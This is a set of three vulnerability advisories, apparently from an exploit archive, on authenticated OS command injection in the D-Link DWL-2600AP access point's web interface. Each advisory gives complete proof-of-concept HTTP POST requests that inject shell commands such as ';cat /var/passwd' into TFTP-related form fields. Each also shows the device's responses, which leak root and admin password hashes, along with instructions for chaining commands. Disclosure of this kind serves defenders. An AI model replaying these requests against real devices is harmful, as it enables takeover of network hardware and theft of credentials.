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351 | Document Title:
===============
D-Link DWL-2600AP - (Authenticated) OS Command Injection (Restore Configuration)
Product & Service Introduction:
===============================
The D-Link DWL-2600AP has a web interface for configuration. You can use any web browser you like to login to the D-Link DWL-2600AP.
Affected Product(s):
====================
Product: D-Link DWL-2600AP (Web Interface)
Exploitation Technique:
=======================
Local
Severity Level:
===============
HIGH
Base Score (CVSS):
===============
7.8
===============
Request Method(s):
[+] POST
URL Path :
[+] /admin.cgi?action=config_restore
Vulnerable POST Form Data Parameter:
[+] configRestore
[+] configServerip
===========================
Device Firmware version :
[+] 4.2.0.15
Hardware Version :
[+] A1
Device name :
[+] D-Link AP
Product Identifier :
[+] WLAN-EAP
Proof of Concept (PoC):
=======================
The security vulnerability can be exploited by local authenticated attackers.
there is no input validation on the POST Form Data Parameter "configRestore"
and the Form Data Parameter "configServerip" (the input are passed directly to TFTP command) which allow attackers to execute arbitrary Operating System Commands on the device for malicious purposes.
The attacker has to know the credentials in order to access the Panel .
For security demonstration or to reproduce the vulnerability follow the provided information in the attachement provided Screenshot2.jpg .
--- PoC Session Logs ---
POST /admin.cgi?action=config_restore HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Length: 357
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data;
User-Agent: Xxxxxxxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost/admin.cgi?action=config_restore
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: sessionHTTP=UQAafLpviZXbWDQpJAnrNmEJoFQIBAcX; clickedFolderFrameless=43%5E
------WebKitFormBoundary4ZAwHsdySFjwNXxE
Content-Disposition: form-data; name="optprotocol"
up
------WebKitFormBoundary4ZAwHsdySFjwNXxE
Content-Disposition: form-data; name="configRestore"
;whoami;
------WebKitFormBoundary4ZAwHsdySFjwNXxE
Content-Disposition: form-data; name="configServerip"
;cat /var/passwd;cat /var/passwd
------WebKitFormBoundary4ZAwHsdySFjwNXxE--
----------->Response----------->
HTTP/1.0 200 OK
Content-Type: text/html; charset=UTF-8
/usr/bin/tftp: option requires an argument -- r
BusyBox v1.18.2 (2018-02-26 11:53:37 IST) multi-call binary.
Usage: tftp [OPTIONS] HOST [PORT]
Transfer a file from/to tftp server
Options:
-l FILE Local FILE
-r FILE Remote FILE
-g Get file
-p Put file
-b SIZE Transfer blocks of SIZE octets
sh: whoami: not found
sh: whoami: not found
root:$1$XDXDXDXD$JTedJSDYDA.pFjIToxlGA1:0:0:root:/root:/bin/sh
admin:2yn.4fvaTgedM:0:0:cisco:/root:/bin/splash
nobody:x:99:99:nobody:/:/bin/false
Note : for testing put the values in the fields like this :
;command1;same_command1;command2;command2
----+Discovered By Raki Ben Hamouda----+
Document Title:
===============
D-Link DWL-2600AP - (Authenticated) OS Command Injection (Save Configuration)
Product & Service Introduction:
===============================
The D-Link DWL-2600AP has a web interface for configuration. You can use any web browser you like to login to the D-Link DWL-2600AP.
Affected Product(s):
====================
Product: D-Link DWL-2600AP (Web Interface)
Exploitation Technique:
=======================
Local
Severity Level:
===============
HIGH
Base Score (CVSS):
===============
7.8
===============
Request Method(s):
[+] POST
URL Path :
[+] /admin.cgi?action=config_save
Vulnerable POST Form Data Parameter:
[+] configBackup
[+] downloadServerip
==========================
Device Firmware version :
[+] 4.2.0.15
Hardware Version :
[+] A1
Device name :
[+] D-Link AP
Product Identifier :
[+] WLAN-EAP
Proof of Concept (PoC):
=======================
The security vulnerability can be exploited by remote or local authenticated attackers.
there is no input validation on the POST Form Data Parameter "configBackup"
and the Form Data Parameter "downloadServerip" (the input are passed directly to TFTP command) which allow attackers to execute arbitrary Operating System Commands on the device for malicious purposes.
The attacker has to know the credentials in order to access the Panel .
For security demonstration or to reproduce the vulnerability follow the provided information in the attachement provided Screenshot3.jpg .
--- PoC Session Logs ---
POST /admin.cgi?action=config_save HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Length: 114
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Xxxxxxxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost/admin.cgi?action=config_save
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: sessionHTTP=PENcqbtRRuvmuZfPZnzuUddVIEAPADBp; clickedFolderFrameless=43%5E
check_tftp=up&configBackup=;whoami;whoami;.xml&downloadServerip=;cat /var/passwd;cat /var/passwd
----------->Response----------->
HTTP/1.0 200 OK
Content-Type: text/html; charset=UTF-8
/usr/bin/tftp: option requires an argument -- r
BusyBox v1.18.2 (2018-02-26 11:53:37 IST) multi-call binary.
Usage: tftp [OPTIONS] HOST [PORT]
Transfer a file from/to tftp server
Options:
-l FILE Local FILE
-r FILE Remote FILE
-g Get file
-p Put file
-b SIZE Transfer blocks of SIZE octets
sh: whoami: not found
sh: whoami: not found
sh: .xml: not found
root:$1$XDXDXDXD$JTedJSDYDA.pFjIToxlGA1:0:0:root:/root:/bin/sh
admin:2yn.4fvaTgedM:0:0:cisco:/root:/bin/splash
nobody:x:99:99:nobody:/:/bin/false
Note : for testing put the values in the fields like this :
;command1;same_command1;command2;etc...
----+Discovered By Raki Ben Hamouda----+
Document Title:
===============
D-Link DWL-2600AP - (Authenticated) OS Command Injection (Upgrade Firmware)
Product & Service Introduction:
===============================
The D-Link DWL-2600AP has a web interface for configuration. You can use any web browser you like to login to the D-Link DWL-2600AP.
Affected Product(s):
====================
Product: D-Link DWL-2600AP (Web Interface)
Exploitation Technique:
=======================
Local
Severity Level:
===============
HIGH
Base Score (CVSS):
===============
7.8
===============
Request Method(s):
[+] POST
URL Path :
[+] /admin.cgi?action=upgrade
Vulnerable POST Form Data Parameter:
[+] firmwareRestore
[+] firmwareServerip
===========================
Device Firmware version :
[+] 4.2.0.15
Hardware Version :
[+] A1
Device name :
[+] D-Link AP
Product Identifier :
[+] WLAN-EAP
Proof of Concept (PoC):
=======================
The security vulnerability can be exploited by local authenticated attackers.
there is no input validation on the POST Form Data Parameter "firmwareRestore"
and the Form Data Parameter "firmwareServerip" (the input are passed directly to TFTP command) which allow attackers to execute arbitrary Operating System Commands on the device for malicious purposes.
The attacker has to know the credentials in order to access the Panel .
For security demonstration or to reproduce the vulnerability follow the provided information in the attachement provided Screenshot1.jpg .
--- PoC Session Logs ---
POST /admin.cgi?action=upgrade HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Length: 525
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data;
User-Agent: xxxxxxxxw
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost/admin.cgi?action=upgrade
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: sessionHTTP=PENcqbtRRuvmuZfPZnzuUddVIEAPADBp; clickedFolderFrameless=43%5E
------WebKitFormBoundaryBy0MsFaBOhdU6YJL
Content-Disposition: form-data; name="optprotocol"
up
------WebKitFormBoundaryBy0MsFaBOhdU6YJL
Content-Disposition: form-data; name="firmwareRestore"
;whoami;whoami
------WebKitFormBoundaryBy0MsFaBOhdU6YJL
Content-Disposition: form-data; name="firmwareServerip"
;cat /var/passwd;cat /var/passwd
------WebKitFormBoundaryBy0MsFaBOhdU6YJL
Content-Disposition: form-data; name="update.device.packet-capture.stop-capture"
up
------WebKitFormBoundaryBy0MsFaBOhdU6YJL--
----------->Response----------->
HTTP/1.0 200 OK
Content-Type: text/html; charset=UTF-8
/usr/bin/tftp: option requires an argument -- r
BusyBox v1.18.2 (2018-02-26 11:53:37 IST) multi-call binary.
Usage: tftp [OPTIONS] HOST [PORT]
Transfer a file from/to tftp server
Options:
-l FILE Local FILE
-r FILE Remote FILE
-g Get file
-p Put file
-b SIZE Transfer blocks of SIZE octets
sh: whoami: not found
sh: whoami: not found
root:$1$XDXDXDXD$JTedJSDYDA.pFjIToxlGA1:0:0:root:/root:/bin/sh
admin:2yn.4fvaTgedM:0:0:cisco:/root:/bin/splash
nobody:x:99:99:nobody:/:/bin/false
Note : for testing put the values in the fields like this :
;command1;same_command1;command2;etc...
----+Discovered By Raki Ben Hamouda----+
|
